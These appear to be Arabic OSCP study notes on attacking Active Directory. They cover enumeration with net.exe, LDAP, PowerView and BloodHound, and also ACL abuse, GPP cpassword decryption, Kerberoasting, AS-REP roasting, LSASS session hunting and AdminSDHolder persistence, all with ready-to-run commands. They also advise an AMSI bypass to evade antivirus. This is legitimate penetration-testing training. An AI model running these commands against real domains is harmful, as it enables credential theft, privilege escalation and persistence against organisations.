01مقدمة لـ Active Directory

⬦ ما هو Active Directory

Active Directory Domain Services (AD DS) = خدمة دليل مركزية بتدير المستخدمين والأجهزة والتطبيقات والصلاحيات عبر المؤسسة بشكل موسّع. أنشأته Microsoft، صدر أول مرة مع Windows 2000 Server. تستخدمه أكثر من 90% من شركات Fortune 500 — هو البنية التحتية لـ IT المؤسسي.

ليه AD مهم لمختبري الاختراق: AD بيخزّن معلومات شاملة عن كل شيء في البيئة. التحكّم في كائنات domain محددة → يمكن التحكّم في البنية التحتية كاملة. اختراق كامل للـ domain = وصول تنظيمي شامل — إيميلات، ملفات، سيرفرات، VPNs.

المكوّنات الأساسية لـ AD

Forestمجموعة من domain أو أكثر تشترك schema وglobal catalog
└─Domain (corp.com)الحد المنطقي — الوحدة الإدارية الأساسية
├─Domain Controller (DC)يوثّق المستخدمين ويخزّن قاعدة بيانات الـ directory. PDC = أحدث البيانات
├─OU (Organizational Unit)كائن حاوية — مثل مجلد — يجمّع كائنات ذات صلة
│  └─GPOGroup Policy Object — يطبّق إعدادات/قيودًا على المستخدمين والأجهزة
└─Objects: Users · Computers · Groupsكائنات الـ directory الأساسية

أنواع كائنات AD

النوعالوصفخصائص مهمة للمهاجم
User Objectsأشخاص أو service accountssAMAccountName، SID، pwdLastSet، lastLogon، description (ممكن يحتوي باسورد!)
Computer Objectsأجهزة منضمة للـ domainOS version، hostname، last logon، SPNs
Group ObjectsSecurity groups (وصول للموارد) | Distribution (قوائم إيميل)Domain Admins = تحكّم كامل | Enterprise Admins = كل الـ forests
SPNsتربط خدمة بالحساب الذي يُشغّلهاحرج للـ Kerberos auth وKerberoasting

الأهداف ذات القيمة العالية في AD

DADomain Admins: تحكّم كامل في الـ domain — الهدف #1
EAEnterprise Admins: تحكّم في كل الـ domains في الـ forest
DCDomain Controller: يحتوي NTDS.dit — كل هاشات كلمات المرور
KRKRBTGT Account: اختراقه = هجوم Golden Ticket
SPService Accounts (SPNs): أهداف Kerberoasting — غالبًا باسوردات ضعيفة/قديمة
BOBackup Operators: يمكنهم نسخ NTDS.dit. Account Operators: إنشاء/تعديل حسابات
$ cat ./lu1_takeaways.txt

02Enumeration بأدوات Legacy — net.exe وnltest

عقلية الـ Enumeration

الـ Enumeration = جمع الاستخبارات — أساس كل هجمات AD. ابدأ من سيناريو assumed-breach: بيانات اعتماد domain صالحة (phishing، إعادة استخدام، إلخ). ابدأ من حساب domain منخفض الصلاحيات — هذا كل ما تحتاجه للـ enumeration.

الـ Enumeration ليست خطوة واحدة أبدًا — كرّرها بعد كل حساب جديد تخترقه، وبعد كل جهاز جديد تصل إليه. كل موقع جديد يكشف بيانات جديدة — الصلاحيات تختلف من حساب لحساب. كل مستخدم في الـ domain يمكنه قراءة معظم بيانات AD افتراضيًا — لا استغلال مطلوب، فقط توثيق.

net.exe — Recon سريع للـ Domain

net.exe مدمَج في كل إصدارات Windows. يتواصل مباشرةً مع الـ DC عبر LDAP/NetBIOS. لا تثبيت مطلوب — "living off the land".

cmd / powershell
# سرد كل مستخدمي الـ domain
net user /domain

# فحص مستخدم محدد (مجموعات، آخر دخول، إعدادات الباسورد)
net user jeffadmin /domain

# سرد كل مجموعات الـ domain
net group /domain

# سرد أعضاء مجموعة محددة
net group "Domain Admins" /domain
net group "Sales Department" /domain

# إيجاد Domain Controllers
nltest /dclist:corp.com

# مجموعات المستخدم الحالي
whoami /groups

ما نبحث عنه في خرج net.exe

ما نشوفهما يعنيه للهجوم
jeffadmin، backupadmin، svc-sqlحسابات ذات صلاحيات عالية محتملة — أهداف أولوية
svc_* أو svc-*Service accounts — ممكن يكون عندهم SPNs → Kerberoasting
حسابات قديمة/خاملةباسوردات ضعيفة، أقل مراقبة — مثالية للاستيلاء الخفي
Domain Admins، Enterprise Adminsالأهداف النهائية
Remote Desktop Users، Remote Management Usersيسمح بالتنقّل الجانبي عبر RDP/WinRM
Backup Operators، Account Operatorsصلاحيات خاصة — ممكن تستخدم لقراءة NTDS.dit أو إنشاء حسابات
سياسة الباسورد (Lockout threshold)يحدد آمن interval لـ password spraying
$ cat ./lu2_takeaways.txt

03PowerShell وLDAP Enumeration

ليه نتجاوز net.exe

DEDirectoryEntry — الاتصال بـ AD عبر LDAP
DSDirectorySearcher — الاستعلام عن كائنات بفلاتر

المزايا: يعمل على أي جهاز منضم للـ domain بصلاحيات مستخدم عادية | لا أدوات إضافية ولا admin rights | يستخدم LDAP شرعي — أصعب في الكشف من ضجيج الـ scanners

فهم مسارات LDAP

هيكل مسار LDAP: LDAP://<hostname>/<DistinguishedName>
DC=corp,DC=com→ جذر الـ domain
CN=Users,DC=corp,DC=com→ حاوية Users
OU=IT,DC=corp,DC=com→ OU للـ IT
CN=stephanie,CN=Users,DC=corp,DC=com→ مستخدم محدد

بناء سكربت LDAP Enumeration ديناميكي

powershell
# الخطوة 1 — إيجاد اسم الـ PDC
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$pdc = $domain.PdcRoleOwner.Name

# الخطوة 2 — الحصول على الـ DN
$dn = ([ADSI]'').distinguishedName

# الخطوة 3 — بناء مسار LDAP الكامل
$ldap = "LDAP://$pdc/$dn"
# النتيجة: LDAP://DC1.corp.com/DC=corp,DC=com

# إنشاء searcher والاستعلام عن المستخدمين
$se = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$ldap)
$se.Filter = '(samAccountType=805306368)'
$results = $se.FindAll()

# طباعة أسماء المستخدمين
$results | ForEach-Object { $_.Properties.samaccountname }

مرجع فلاتر LDAP الأكثر فائدة

الفلترنوع الكائنحالة الاستخدام
(objectClass=user)كل كائنات المستخدمينenumeration عام للمستخدمين
(samAccountType=805306368)حسابات مستخدمين عادية فقطاستبعاد حسابات الأجهزة
(objectClass=group)كل المجموعاتenumeration المجموعات
(objectClass=computer)حسابات الأجهزةاكتشاف الأجهزة
(&(objectClass=user)(servicePrincipalName=*))مستخدمون بـ SPNsمرشَّحون لـ Kerberoasting
(userAccountControl:1.2.840.113556.1.4.803:=4194304)Pre-auth معطَّلأهداف AS-REP Roasting
powershell
# إيجاد أعضاء Domain Admins
$se.Filter = '(&(objectClass=group)(cn=Domain Admins))'
$da = $se.FindOne()
$da.Properties.member

# Enumeration الأجهزة + نظام التشغيل
$se.Filter = '(objectClass=computer)'
$se.FindAll() | ForEach-Object {
    $_.Properties.dnshostname
    $_.Properties.operatingsystem
}

04PowerView Enumeration

⬦ ما هو PowerView

PowerView = سكربت PowerShell بواسطة @harmj0y — المعيار الذهبي لـ AD recon. يؤتمت استعلامات LDAP المعقّدة — أكثر كفاءةً بكثير من السكربتات اليدوية. يُحمَّل في الذاكرة (بدون كتابة على الديسك) — يقلّل البصمة الجنائية.

powershell
# تحميل PowerView
powershell -ep bypass
Import-Module .\PowerView.ps1
⚠ تنبيه

الأنتي فايروس ممكن يُعلَّم على PowerView — استخدم AMSI bypass أو نسخة مُبهَمة (obfuscated) في المهمات الحقيقية.

مرجع أوامر PowerView الأساسية

الأمرما يُرجِع
Get-NetDomainاسم الـ domain، الـ forest، الـ DCs، المستوى الوظيفي، PDC role owner
Get-NetDomainControllerكل الـ DCs — IP، نظام التشغيل، الأدوار
Get-NetUserكل المستخدمين — كل خاصية LDAP (pwdLastSet، lastLogon، SPN، إلخ)
Get-NetUser -SPNمستخدمون بـ SPNs — أهداف Kerberoasting
Get-NetGroupكل مجموعات الـ domain
Get-NetGroupMember "Domain Admins" -Recurseأعضاء مجموعة محددة (بما فيها المتداخلة)
Get-NetComputerكل أجهزة الـ domain — نظام التشغيل، hostname، آخر دخول
Find-LocalAdminAccessالأجهزة التي للمستخدم الحالي صلاحية admin عليها
Get-NetSession -ComputerName Xالجلسات النشطة على جهاز محدد
Get-ObjectAcl -Identity XACL للكائن X — لاكتشاف misconfigured permissions
Find-DomainShareكل الـ shares في الـ domain

Enumeration مستهدَف للمهاجم

powershell
# كل المستخدمين مع الخصائص المهمة
Get-NetUser | Select cn,pwdlastset,lastlogon,memberof,serviceprincipalname,description

# إيجاد SPNs (أهداف Kerberoasting)
Get-NetUser -SPN | Select samaccountname,serviceprincipalname

# أعضاء Domain Admins (بما فيهم المتداخلون)
Get-NetGroupMember "Domain Admins" -Recurse

# الأجهزة + إصدار نظام التشغيل
Get-NetComputer | Select dnshostname,operatingsystem,operatingsystemversion

إيجاد Local Admin والجلسات النشطة

✎ سلسلة الهجوم الكلاسيكية

1) Find-LocalAdminAccess → تجد إنك admin على CLIENT74 | 2) Get-NetSession على CLIENT74 → jeffadmin (Domain Admin) جلسته نشطة هناك | 3) استخدم صلاحياتك على CLIENT74 لاستخراج credentials من LSASS | 4) تصبح Domain Admin!

powershell
# مسح كل أجهزة الـ domain (NOISY!)
Find-LocalAdminAccess

# فحص الجلسات على جهاز محدد
Get-NetSession -ComputerName CLIENT74
# ممكن يفشل على Windows 10/11 الحديثة

# بديل: PsLoggedOn (يحتاج RemoteRegistry)
.\PsLoggedOn.exe \\CLIENT74
# jeffadmin logged in → فرصة credential extraction!
ⓘ Find-LocalAdminAccess

بيفحص كل أجهزة الـ domain عبر Service Control Manager — مصدر ضجيج كبير. استخدمه بحذر في بيئات الإنتاج أو قيّد النطاق.


05Object Permissions وACL Abuse

فهم ACL في AD

كل كائن AD له Access Control List (ACL). ACL = مجموعة من Access Control Entries (ACEs). كل ACE = من (SID) له ما من صلاحية على هذا الكائن.

Insight أساسي: ACL misconfigurations شائعة جدًا — تتراكم على مدى سنين من التغييرات IT ولا أحد يراجعها. يمكن أن تمكّن من تصعيد الصلاحيات بدون أي استغلال سوفت وير.

صلاحيات AD الخطيرة — مرجع المهاجم

الصلاحيةالتأثيرتقنية الهجوم
GenericAllتحكّم كامل في الكائنإعادة تعيين الباسورد، إضافة للمجموعة، أخذ الملكية
GenericWriteكتابة أي خاصيةتعديل scriptPath، تعيين SPN للـ Kerberoasting
WriteOwnerتغيير مالك الكائنأخذ الملكية، ثم منح نفسك GenericAll
WriteDACLتعديل الـ ACLمنح نفسك GenericAll على أي كائن
AllExtendedRightsكل الحقوق الممتدةإجبار إعادة تعيين الباسورد، قراءة كلمات LAPS
ForceChangePasswordإعادة تعيين الباسورد بدون معرفة الحاليالاستيلاء على الحساب
AddMember / Selfإضافة أعضاء للمجموعةإضافة نفسك لـ Domain Admins
✎ السيناريو

stephanie (صلاحيات منخفضة) لديها GenericAll على مجموعة 'Management Department' → يمكنها إضافة نفسها → ترث وصول المجموعة.

powershell
# عرض ACL كائن محدد
Get-ObjectAcl -Identity 'Management Department' |
    Select ActiveDirectoryRights,SecurityIdentifier

# تحويل SID لاسم قابل للقراءة
Convert-SidToName S-1-5-21-...

# إيجاد كل GenericAll في الـ domain
Get-ObjectAcl -Domain corp.com |
    Where-Object {$_.ActiveDirectoryRights -eq 'GenericAll'} |
    Select ObjectDN,SecurityIdentifier

# استغلال GenericAll: إضافة نفسك للمجموعة
Add-DomainGroupMember -Identity 'Management Department' -Members stephanie

# تحقّق من العضوية الجديدة
Get-NetGroupMember "Management Department"

# CLEANUP — إزالة نفسك بعد الاختبار!
Remove-DomainGroupMember -Identity 'Management Department' -Members stephanie
⚠ تنظيف ضروري

دايمًا نظّف بعد استغلال الـ ACL — أزل نفسك من المجموعات بعد انتهاء الاختبار. التغييرات غير المُنظَّفة قد تترك backdoors أو تُنبّه الأمان.


06Domain Shares وSYSVOL وGPP Passwords

ليه الـ Shares كنز معلومات

المؤسسات تعتمد على التخزين المشترك للتعاون. الـ shares كثيرًا ما تحتوي: بيانات اعتماد، configs، سكربتات، وثائق. قابلة للقراءة بواسطة كل مستخدمي الـ domain افتراضيًا.

نوع الـ Shareمن يستطيع الوصولما نبحث عنه
ADMIN$، C$، IPC$Admins فقط—
SYSVOL، NETLOGONكل مستخدمي الـ domainGPP passwords، logon scripts، config files
Shares مخصَّصةغالبًا صلاحيات ضعيفةباسوردات، configs، scripts بمعلومات حساسة
⬦ SYSVOL وثغرة GPP Passwords

SYSVOL: share على مستوى الـ domain على كل DCs. يخزّن: GPOs، logon scripts، config files. كل مستخدمي الـ domain يمكنهم قراءته — مطلوب لتطبيق الـ policy عند الدخول.

ثغرة Group Policy Preferences (GPP): المدراء استخدموا GPP لنشر باسوردات local admin على الأجهزة. الباسوردات مخزَّنة في Groups.xml — مشفَّرة بـ AES-256. Microsoft نشرت مفتاح AES عام 2012 — أي شخص يمكنه فكّ التشفير. MS14-025 أصلحت إنشاء باسوردات GPP جديدة لكن الملفات القديمة لا تزال موجودة!

powershell / cmd
# إيجاد كل الـ shares في الـ domain
Find-DomainShare

# استكشاف SYSVOL بشكل recursive
ls \\dc1.corp.com\sysvol\corp.com\

# البحث عن ملفات GPP passwords
findstr /S /I 'cpassword' \\dc1.corp.com\sysvol\

# فكّ تشفير الـ cpassword
gpp-decrypt ''
# → P@ssword123!  (local admin على كل الأجهزة!)

# البحث في shares مخصَّصة عن ملفات حساسة
findstr /S /I /M 'password\|passw\|cred' *.*
★ Exam Tip

SYSVOL هو أول مكان تتحقق منه بعد الحصول على أي domain credentials. GPP passwords هي من أشهر التكتيكات في OSCP وتظهر بشكل كبير في الامتحانات. أمر gpp-decrypt في Kali يفكّ التشفير مباشرةً.


07متجهات هجوم AD المتقدمة

Kerberoasting

⬦ كيف يعمل

Kerberos authentication يستخدم SPNs. أي مستخدم domain يمكنه طلب service ticket (TGS) لأي SPN. الـ service ticket مشفَّر بهاش NTLM لحساب الخدمة. المهاجم يطلب tickets → يحفظها → يكسرها offline.

ليه قوي: يحتاج فقط بيانات اعتماد domain عادية | طلب الـ ticket يشبه ترافيك Kerberos الطبيعي | Offline cracking — بدون خطر account lockout | حسابات الخدمة غالبًا باسوردات ضعيفة/قديمة

1
إيجاد حسابات بـ SPNs
powershell
Get-NetUser -SPN | Select samaccountname,serviceprincipalname
2
طلب service tickets
powershell
Invoke-Kerberoast -OutputFormat Hashcat
3
كسر offline بـ Hashcat
bash
hashcat -m 13100 hashes.txt rockyou.txt
# النتيجة: باسورد service account بنص واضح
# حسابات الخدمة غالبًا ذات صلاحيات عالية!

AS-REP Roasting

⬦ كيف يعمل

Kerberos pre-authentication مطلوب عادةً — يثبت إن المستخدم يعرف باسورده قبل الحصول على TGT. بعض الحسابات لديها pre-auth معطَّلة (misconfiguration). بدون pre-auth: أي مهاجم يمكنه طلب AS-REP. الـ AS-REP مشفَّر بهاش باسورد الحساب → كسر offline — لا lockout! يحتاج فقط وصول للشبكة — لا credentials مطلوبة!

1
إيجاد حسابات pre-auth معطَّلة
powershell
# LDAP filter
$se.Filter = '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
2
طلب AS-REP hash بـ Rubeus
cmd
Rubeus.exe asreproast /format:hashcat
3
كسر offline بـ Hashcat
bash
hashcat -m 18200 hashes.txt rockyou.txt
# → باسورد مستخدم domain مكشوف

هجمات Kerberos Delegation

النوعالوصفالاستغلالالاكتشاف
Unconstrainedالجهاز يتصرّف نيابةً عن أي مستخدم موثَّق. يخزّن TGTs في LSASSاختراق الجهاز → استخراج TGTs → انتحال هوية Domain AdminGet-ADComputer -Filter {TrustedForDelegation -eq 'True'}
Constrainedيحدّد الـ delegation لخدمات محددة — أأمن لكن قابل للاستغلالالتحكّم في الحساب المفوَّض → انتحال هوية أي مستخدم لتلك الخدماتفحص msDS-AllowedToDelegateTo
RBCDResource-Based — أحدث وأكثر مرونةكتابة msDS-AllowedToActOnBehalfOfOtherIdentity + إضافة computer account → انتحال هوية DAفحص الـ attribute على الأجهزة

AdminSDHolder وSDProp — Persistence خفي

⬦ AdminSDHolder

كائن AD خاص يتحكّم في الصلاحيات على كل الحسابات المميَّزة/المحمية (بما فيها Domain Admins، Enterprise Admins، Schema Admins). عملية SDProp تعمل كل 60 دقيقة: تُعيد تعيين ACL كل الحسابات المحمية لتطابق ACL الـ AdminSDHolder.

هجوم الـ Persistence: عدّل ACL الـ AdminSDHolder → أضف GenericAll لنفسك → SDProp بيوزّع صلاحياتك لكل الحسابات المميَّزة. حتى لو المدافعون أعادوا تعيين باسوردات DA → صلاحيتك تبقى. مستخدَم لـ long-term stealthy persistence.

LAPS وShadow Credentials

LALAPS: يُدوّر باسوردات local admin تلقائيًا. الباسورد في AD attribute: ms-Mcs-AdmPwd. Misconfiguration: أي domain user يمكنه قراءته! → local admin على الجهاز
SCShadow Credentials: persistence حديث بدون malware. يضيف key credential بديل (msDS-KeyCredentialLink). يتيح التوثيق كذلك الحساب بدون معرفة الباسورد. يحتاج write access على الـ attribute. أداة: Whisker.exe
$ cat ./lu7_takeaways.txt

08BloodHound وSharpHound

ليه الـ Enumeration الآلي

الـ Enumeration اليدوي يبني الفهم — لكنه بطيء. المؤسسات الكبيرة: آلاف المستخدمين والأجهزة وملايين الصلاحيات. رسم خرائط العلاقات يدويًا مستحيل عمليًا. BloodHound يحلّ هذا: يجمع كل بيانات علاقات الـ domain آليًا، يبني قاعدة بيانات رسم بياني تفاعلية، يجد أقصر مسار من أي مستخدم لـ Domain Admin.

⚠ BloodHound ضوضاء كبيرة

BloodHound بيولّد ترافيك LDAP/API كبير — خطط توقيت الجمع ونطاقه في المهمات الحقيقية.

SharpHound — أداة جمع البيانات

SharpHound يستخدم آليات Windows الشرعية للجمع:

ما يجمعه: عضوية المستخدمين/المجموعات + المجموعات المتداخلة | صلاحيات local admin على كل جهاز | الجلسات النشطة (من مسجَّل دخول أين) | ACLs وصلاحيات الكائنات | SPNs وحسابات الخدمة

powershell
# تحميل في الذاكرة (fileless)
powershell -ep bypass
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

# الخرج: أرشيف ZIP من ملفات JSON
# استورد الـ ZIP في BloodHound للتحليل

BloodHound — استعلامات قوية

cypher — BloodHound custom queries
# المستخدمون الذين لديهم GenericAll على أي شيء
MATCH p=(m:User)-[r:GenericAll]->(n)
WHERE m.name = 'STEPHANIE@CORP.COM'
RETURN p

# مستخدمون Kerberoastable بمسار لـ Domain Admins
MATCH p=shortestPath(
  (n:User {hasspn:true})-[*1..]->(m:Group {name:'DOMAIN ADMINS@CORP.COM'})
)
RETURN p

مثال مسار هجوم حقيقي — BloodHound يكشفه

BloodHound يعرض الرسم البياني التالي:

● stephanie (Owned) → AdminTo → ■ CLIENT74 → HasSession → ● jeffadmin → MemberOf → ★ Domain Admins

ما يعنيه هذا:

  1. Stephanie لديها local admin على CLIENT74
  2. Domain Admin jeffadmin لديه جلسة نشطة على CLIENT74
  3. استخرج credentials jeffadmin من LSASS على CLIENT74
  4. استخدم credentials للتوثيق كـ Domain Admin

هذا بالضبط كيف تحدث كثير من عمليات اختراق AD الحقيقية. BloodHound يجد هذا المسار من 3 hops في ثوانٍ عبر +10,000 node.

✓ BloodHound Workflow

1) شغّل SharpHound: Invoke-BloodHound -CollectionMethod All | 2) استورد الـ ZIP في BloodHound | 3) علّم الحسابات التي تمتلكها (Right-click → Mark as Owned) | 4) "Shortest Path from Owned to Domain Admins" | 5) هذا مسارك الخاص للـ DA

$ cat ./lu8_takeaways.txt

Cheat Sheet مرجعي

net.exe الأساسية

cmd
net user /domain                         # كل مستخدمي الـ domain
net user USERNAME /domain               # تفاصيل مستخدم محدد
net group /domain                       # كل مجموعات الـ domain
net group "Domain Admins" /domain      # أعضاء مجموعة محددة
nltest /dclist:DOMAIN                   # إيجاد Domain Controllers
whoami /groups                          # مجموعات المستخدم الحالي

PowerView — الأكثر استخدامًا

powershell
Get-NetDomain                                         # معلومات الـ domain
Get-NetDomainController                              # كل الـ DCs
Get-NetUser | Select cn,pwdlastset,description       # مستخدمون + خصائص
Get-NetUser -SPN                                      # أهداف Kerberoasting
Get-NetGroupMember "Domain Admins" -Recurse          # أعضاء DA
Get-NetComputer | Select dnshostname,operatingsystem # الأجهزة + OS
Find-LocalAdminAccess                                # أجهزة أنت admin عليها
Get-NetSession -ComputerName MACHINE                 # جلسات نشطة
Get-ObjectAcl -Identity 'GROUP' | Select ActiveDirectoryRights,SecurityIdentifier
Find-DomainShare                                     # كل الـ shares

LDAP Filters الأساسية

الفلترالهدف
(samAccountType=805306368)مستخدمون عاديون (بدون computer accounts)
(&(objectClass=user)(servicePrincipalName=*))Kerberoasting targets
(userAccountControl:1.2.840.113556.1.4.803:=4194304)AS-REP Roasting targets

Hashcat Modes لـ AD

Modeالنوعالأمر
13100Kerberoasting (TGS-REP)hashcat -m 13100 hashes.txt rockyou.txt
18200AS-REP Roastinghashcat -m 18200 hashes.txt rockyou.txt
1000NTLM (لبعد استخراج من DC)hashcat -m 1000 ntlm.hash rockyou.txt

مرجع ACL — الصلاحيات الخطيرة

الصلاحيةماذا تفعل؟
GenericAllتحكّم كامل → إعادة تعيين باسورد / إضافة للمجموعة
WriteDACLعدّل الـ ACL → امنح نفسك GenericAll
WriteOwnerغيّر المالك → ثم خذ GenericAll
ForceChangePasswordإعادة تعيين الباسورد مباشرةً
GenericWriteعدّل أي attribute → عيّن SPN للـ Kerberoasting

الخلاصة العامة للموديول

Active Directory هو العمود الفقري لشبكات المؤسسات — اختراقه يعني اختراق المؤسسة بالكامل. الـ Enumeration مستمر — كرّره بعد كل حساب أو جهاز جديد؛ كل مستوى يكشف مسارات هجوم جديدة.

Low-priv domain user Enumeration net / PowerView BloodHound ACL / GPP GenericAll SYSVOL Kerberoasting AS-REP / Session Hunting Domain Admin full control net.exe / LDAP PowerView / BH WriteDACL / cpassword TGS hash → crack NTDS.dit / Golden Ticket
مسار تصعيد AD الكلاسيكي: Low-priv → Enumeration → ACL/GPP → Kerberoasting/Sessions → Domain Admin

القاعدة الذهبية: الـ Enumeration الشامل أهم من أي إكسبلويت. أدوات مثل net.exe وPowerView وBloodHound تعطيك الخريطة — أنت فقط تتبع المسارات. كل خطوة تُنفَّذ على بيانات حقيقية مجموعة من الـ domain نفسه.


نهاية نوتس الموديول التاسع عشر — OSCP: Active Directory Introduction & Enumeration